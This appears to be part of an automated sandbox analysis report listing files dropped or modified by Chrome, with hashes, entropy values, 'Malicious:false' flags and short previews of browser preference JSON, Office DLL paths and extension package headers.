                                                                    SSDEEP:48:Yc/kKSChkSiubNqAXiqTlYGlQKHoTw0hIYrf4MqM8C1Nfct/9BhUJo3KhmeSnpNI:n3L0M1pIKIHIA5k0JCKL82bOTlVuHn
                                                                    MD5:612213627257938231CA63A6046045A4
                                                                    SHA1:E846E48AA0E5122BC7EF694677A9B4049A2BAF7A
                                                                    SHA-256:51D98FA986B0AC98BA5614BCC1920979B826DE3B3B8829F4D3D13A8EF29A4A9A
                                                                    SHA-512:17E245BFB79B1738EE90134A55C8622190B9141F2AB0A9B5B37563572679453B7CD7DDFDB61AC2EC605C777BD1A09FEB4479DC45D4C9AEB75656088E8A115843
                                                                    Malicious:false
                                                                    Preview:{"account_id_migration_state":2,"account_tracker_service_last_update":"13300960881389501","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":false,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_rece
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):4899
                                                                    Entropy (8bit):4.932394192742149
                                                                    Encrypted:false
                                                                    SSDEEP:48:Yc/kKSChklieqAXiqTlYGlQKHoTw0hIYrf4MqM8C1Nfct/9BhUJo3KhmeSnpNGzm:n3LRM1pIKIHIA5k0JCKL8bbOTlVuHn
                                                                    MD5:F2373E7D549F06D53F959D64296093CF
                                                                    SHA1:7200DF843A4F898FE87E785528AEF953C4ADDFB6
                                                                    SHA-256:85B55B52BBC7E9902408BA691353743A632C186A953625501872274597B5F25A
                                                                    SHA-512:6837C4EB1BE14B8F4AC4D3DCF1F99FF42A6430A6660D356BC591774B8DCFEC005FD09E5DFDCF3459AAEB795F444A47D5DA2F9E0FD80AFF046ADEA327EC39A104
                                                                    Malicious:false
                                                                    Preview:{"account_id_migration_state":2,"account_tracker_service_last_update":"13300960881389501","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):106
                                                                    Entropy (8bit):3.138546519832722
                                                                    Encrypted:false
                                                                    SSDEEP:3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l
                                                                    MD5:DE9EF0C5BCC012A3A1131988DEE272D8
                                                                    SHA1:FA9CCBDC969AC9E1474FCE773234B28D50951CD8
                                                                    SHA-256:3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590
                                                                    SHA-512:CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691724
                                                                    Malicious:false
                                                                    Preview:C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):13
                                                                    Entropy (8bit):2.8150724101159437
                                                                    Encrypted:false
                                                                    SSDEEP:3:Yx7:4
                                                                    MD5:C422F72BA41F662A919ED0B70E5C3289
                                                                    SHA1:AAD27C14B27F56B6E7C744A8EC5B1A7D767D7632
                                                                    SHA-256:02E71EB4C587FEB7EE00CE8600F97411C2774C2FC34CB95B92D5538E7F30DA59
                                                                    SHA-512:86010ED2B2EEBDCC5A8A076B37703669C294C6D1BFAAEA963E26A9C94B81B4C53EC765D9425E5B616159C43923F800A891F9B903659575DF02F8845521F8DC46
                                                                    Malicious:false
                                                                    Preview:85.0.4183.121
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):206227
                                                                    Entropy (8bit):6.043801410943901
                                                                    Encrypted:false
                                                                    SSDEEP:6144:O/k6eEkqgADTV1LftwwpDjPu/aaqfIlUOoSiuRl:hqjDnlpDDuxo2
                                                                    MD5:967BAC1CD70F3C36F0891E88F12048C2
                                                                    SHA1:7656E1B0FBF6FF74E0C09078DBCC5D07EC194B32
                                                                    SHA-256:1F705948AB3DF299C7C919D3F48D85739BBB1161B4543206BA82C339A0C067BF
                                                                    SHA-512:2C2DF2A689A670868FBBF15CA31441DD35ED994BDF146C46459BABDA72A7B4ADC76C31E2D14636B027111AAE812F09C4E3BD9DFFE993BA4FA54FF92908E81CCD
                                                                    Malicious:false
                                                                    Preview:{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.656487282816586e+12,"network":1.656487284e+12,"ticks":117799188.0,"uncertainty":3943372.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129666956"},"plugins":{"metadata":{"adobe-flash-player":{"d
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):101472
                                                                    Entropy (8bit):3.7449869684526025
                                                                    Encrypted:false
                                                                    SSDEEP:384:iXJ2uwD5nCc7ClN+r7vSEX3BaE5HUhGFMrX7aFnCrxmAmU4srrTSmP7p30GGK1O8:a2lpCUMdQeX3R0wNPn2aKsq2B1
                                                                    MD5:B7593A825B127A460D7442F2E7508708
                                                                    SHA1:24DFF8086248C3938AB6B0F5930EFC72AA2A6792
                                                                    SHA-256:4F54FCC41C4D720DCB142F1DAB3E8BF1F6D90A68CF649756461C674CAC33E86C
                                                                    SHA-512:6C455B83132B5EC3EA86EC9A25BC1C83A9B711F7D05F836038F6E24E47B18260D49DD9A2A4027363008A22041F70B7847B6A03708902C04353A318C798CD6A69
                                                                    Malicious:false
                                                                    Preview:\...............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...w`8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):101472
                                                                    Entropy (8bit):3.7449869684526025
                                                                    Encrypted:false
                                                                    SSDEEP:384:iXJ2uwD5nCc7ClN+r7vSEX3BaE5HUhGFMrX7aFnCrxmAmU4srrTSmP7p30GGK1O8:a2lpCUMdQeX3R0wNPn2aKsq2B1
                                                                    MD5:B7593A825B127A460D7442F2E7508708
                                                                    SHA1:24DFF8086248C3938AB6B0F5930EFC72AA2A6792
                                                                    SHA-256:4F54FCC41C4D720DCB142F1DAB3E8BF1F6D90A68CF649756461C674CAC33E86C
                                                                    SHA-512:6C455B83132B5EC3EA86EC9A25BC1C83A9B711F7D05F836038F6E24E47B18260D49DD9A2A4027363008A22041F70B7847B6A03708902C04353A318C798CD6A69
                                                                    Malicious:false
                                                                    Preview:\...............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...w`8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):93504
                                                                    Entropy (8bit):3.7448728180529898
                                                                    Encrypted:false
                                                                    SSDEEP:384:zXJ2uwD54c7ClN+r7vSa3BaE5HUhGFMrXkiIxZU4srrTSmP030GGK1O8YGNX12fY:32RpC0FdQe3E0wYPn2aKsq2BN
                                                                    MD5:16DCBE82FB1FF73774220C14E1D47157
                                                                    SHA1:36586BE434A37F12AF344A246BD3710040421B97
                                                                    SHA-256:A31178420BC0388B9B924643A0D7ACAC2F7774C3D376E6561752BB4BED6416AD
                                                                    SHA-512:A5BA97C24A67461DE81DCD37E9ACE2017920DE38AED4D98C9C3FCC8718B2E918FEDA306D1BAE3594338EB6CB3C0D7091239D1ABE03B7E4904763C6FEE58232B8
                                                                    Malicious:false
                                                                    Preview:<m..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...w`8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:modified
                                                                    Size (bytes):206227
                                                                    Entropy (8bit):6.043801410943901
                                                                    Encrypted:false
                                                                    SSDEEP:6144:O/k6eEkqgADTV1LftwwpDjPu/aaqfIlUOoSiuRl:hqjDnlpDDuxo2
                                                                    MD5:967BAC1CD70F3C36F0891E88F12048C2
                                                                    SHA1:7656E1B0FBF6FF74E0C09078DBCC5D07EC194B32
                                                                    SHA-256:1F705948AB3DF299C7C919D3F48D85739BBB1161B4543206BA82C339A0C067BF
                                                                    SHA-512:2C2DF2A689A670868FBBF15CA31441DD35ED994BDF146C46459BABDA72A7B4ADC76C31E2D14636B027111AAE812F09C4E3BD9DFFE993BA4FA54FF92908E81CCD
                                                                    Malicious:false
                                                                    Preview:{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.656487282816586e+12,"network":1.656487284e+12,"ticks":117799188.0,"uncertainty":3943372.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129666956"},"plugins":{"metadata":{"adobe-flash-player":{"d
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):214482
                                                                    Entropy (8bit):6.070943041259194
                                                                    Encrypted:false
                                                                    SSDEEP:6144:2U/k6eEkqgADTV1LftwwpDjPu/aaqfIlUOoSiuRl:2PqjDnlpDDuxo2
                                                                    MD5:C00838B533AA6F8F94FC04D8C5AA4DD5
                                                                    SHA1:A1D717707773184E6B6B27585E6BEEC4DCDBA94F
                                                                    SHA-256:9489F66870CB799D460A04BD35615819A688277B409A3FED6DC42B1807403C41
                                                                    SHA-512:C4CBA07E9095CC3A9DC1CCCF344FC3D99DD78A5B335FBE7EE9C1608D5A668C31FC1D2A0477002F54D66A3685205245B4C386FD937D1062E655ED3636EF683B2E
                                                                    Malicious:false
                                                                    Preview:{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.656487282816586e+12,"network":1.656487284e+12,"ticks":117799188.0,"uncertainty":3943372.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245922715401452"},"plugins":{"metadata":{"adobe-flash-player":{"d
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):214482
                                                                    Entropy (8bit):6.070943041259194
                                                                    Encrypted:false
                                                                    SSDEEP:6144:2U/k6eEkqgADTV1LftwwpDjPu/aaqfIlUOoSiuRl:2PqjDnlpDDuxo2
                                                                    MD5:C00838B533AA6F8F94FC04D8C5AA4DD5
                                                                    SHA1:A1D717707773184E6B6B27585E6BEEC4DCDBA94F
                                                                    SHA-256:9489F66870CB799D460A04BD35615819A688277B409A3FED6DC42B1807403C41
                                                                    SHA-512:C4CBA07E9095CC3A9DC1CCCF344FC3D99DD78A5B335FBE7EE9C1608D5A668C31FC1D2A0477002F54D66A3685205245B4C386FD937D1062E655ED3636EF683B2E
                                                                    Malicious:false
                                                                    Preview:{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.656487282816586e+12,"network":1.656487284e+12,"ticks":117799188.0,"uncertainty":3943372.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245922715401452"},"plugins":{"metadata":{"adobe-flash-player":{"d
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:Google Chrome extension, version 3
                                                                    Category:dropped
                                                                    Size (bytes):248531
                                                                    Entropy (8bit):7.963657412635355
                                                                    Encrypted:false
                                                                    SSDEEP:3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL
                                                                    MD5:541F52E24FE1EF9F8E12377A6CCAE0C0
                                                                    SHA1:189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6
                                                                    SHA-256:81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82
                                                                    SHA-512:D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C88
                                                                    Malicious:false
                                                                    Preview:Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u....k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f|.~.c.4.E.......0..0...*.H............0.......).'..b.*$w\$.q&.]zF_2..;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$|..|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z....).(6..@?v.;~..2..c....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...|!..A..L.+.=...kP.!.1..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:Google Chrome extension, version 3
                                                                    Category:dropped
                                                                    Size (bytes):145035
                                                                    Entropy (8bit):7.995615725071868
                                                                    Encrypted:true
                                                                    SSDEEP:3072:TdgEhmDf+E8VY0x81Rkc6L2oqzqkPEu30gZlc3G2ZknF:TyEhmDf+/+Fnkj6lEukgZyyF
                                                                    MD5:EA1C1FFD3EA54D1FB117BFDBB3569C60
                                                                    SHA1:10958B0F690AE8F5240E1528B1CCFFFF28A33272
                                                                    SHA-256:7C3A6A7D16AC44C3200F572A764BCE7D8FA84B9572DD028B15C59BDCCBC0A77D
                                                                    SHA-512:6C30728CAC9EAC53F0B27B7DBE2222DA83225C3B63617D6B271A6CFEDF18E8F0A8DFFA1053E1CBC4C5E16625F4BBC0D03AA306A946C9D72FAA4CEB779F8FFCAF
                                                                    Malicious:false
                                                                    Preview:Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b..........S'.....2.{.....'....+.'.."..Y.x.ISa...)....H.&92..?!..~..F.5."...n,.B.-|\.)..(..... ]G..j.-M)....C......o&L..0.K.....UtP.&.N...;..^w/a{)v...~KG;...?.1...k.c..D.U......J.6.`.G.5.x.k..[...i.A.@I^..I.<A. J...j.'.G.`.$q.N..Tdq]2]p.OF..#.#......'....8.3......0.."0...*.H.............0.............O..(...':19..O/.>....=.....m.n\.z..q.....JW..F......+H.Z+KGO.9....8.....U...&.y....,$...?.Eo.....\f/.Z..+M8...B.3'..Y.r...X.AS?.~..k..n....... Z...&.G....."n..........l.0v.x#<....Lx,-.w..-..d.....J.pT..('e~*{%kQ.Q......rI.....Z....v.N.....J.d_......rX.......w@.b.[.c../V.'c...!.~.k..}z...U.S..nC......@.......Y..#.D.z.....5&.1O...X=p..2.F..P.6yP..>{.....HBX.*.E5....y..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with very long lines, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):1765
                                                                    Entropy (8bit):6.027545161275716
                                                                    Encrypted:false
                                                                    SSDEEP:48:p/hii6zkvVI1Jip2qRNHvakuQkCNFxdsGwmBKkgum91:Rz0kv6cNvaYNFwSEhug
                                                                    MD5:45821E6EB1AEC30435949B553DB67807
                                                                    SHA1:B3CADEB17FE5B76B5DBB428B8D3A07B341F8B1BC
                                                                    SHA-256:E5FAE91295BECF7F66BFA4BE1061CA5537ED763EB5D01485F23ECFB583304FEE
                                                                    SHA-512:BCBE40CAFAA4B14566D91E361D8FB7F0288D5C459FA478AA4C575444DA4D406E1076FC0B3A31D4A9E5EE034F0FE15A0EFE8A8A52B838DE94B96D3E488D28F0FE
                                                                    Malicious:false
                                                                    Preview:[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJSZWNvdmVyeS5jcngzIiwicm9vdF9oYXNoIjoiaGdCR051SzhNR2NKaDlfNmZQaFdEWmpVYUFKeklzeDlJS21DUEZvb0dfUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiIwYXduVFBFQmdDRHkyV05hVVk3Um9mSWN3c3ZwNHFRNUxzZVMxVXRiVXY0In1dLCJmb3JtYXQiOiJ0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoiaWhubGNlbm9jZWhnZGFlZ2RtaGJpZGpobmhkY2hmbW0iLCJpdGVtX3ZlcnNpb24iOiIxLjMuMzYuMTQxIiwicHJvdG9jb2xfdmVyc2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"iFuMX_kOZ-zJ7KVu6Lxb3rHWZgQvkZhv25x_SGlBiDV_okALrGbj6rUOWyNNNsHXMnT118XZmA696XR8qkr4dwT5Gvez-9gi-WYBY7XBkgo7v6NspGgJF89BNCeI-P9k-zBHOGgrf-fCEiAcoM7xCx9_f8qlRy7nhQPyjOIHn5eEJEir0uSu6gdqR9afnVZ3UoR-VOLdOBt7fA4ee38MP2ut5qWU50F5dvIezfKkTVDMHwztvcLCy6R9SVkdSYv6jwWGccYRl-aclvkkHu6SnbZGI7fmDZdkcBAxBHYEZZMmvb76ro4SO15GDyEVAo_Qf4trdrY_GyN_Bm73imCTjgtoGc
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):66
                                                                    Entropy (8bit):3.7900469623255675
                                                                    Encrypted:false
                                                                    SSDEEP:3:SpOXzxlQ4BdPWfDL9c:SpOjDQFfVc
                                                                    MD5:2AE14F91312C4E8034366B09D49D5B18
                                                                    SHA1:AD4933A5D838D0FA0B960C327A5039A9E8249642
                                                                    SHA-256:4F122332EF0F2BB490EF59619D3602C1A7277C0A7A19C132202DB4803A09BFA2
                                                                    SHA-512:FB0CC467A4B8463F6A3BF42CDC11C23B34EB94A9397644B68714DCB819EE326BAE05022D59D23DC9907DF1E6928064D853FD0900BB6083417892D4D5A9BA7716
                                                                    Malicious:false
                                                                    Preview:1.aeedb246d19256a956fedaa89fb62423ae5bd8855a2a1f3189161cf045645a19
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text
                                                                    Category:dropped
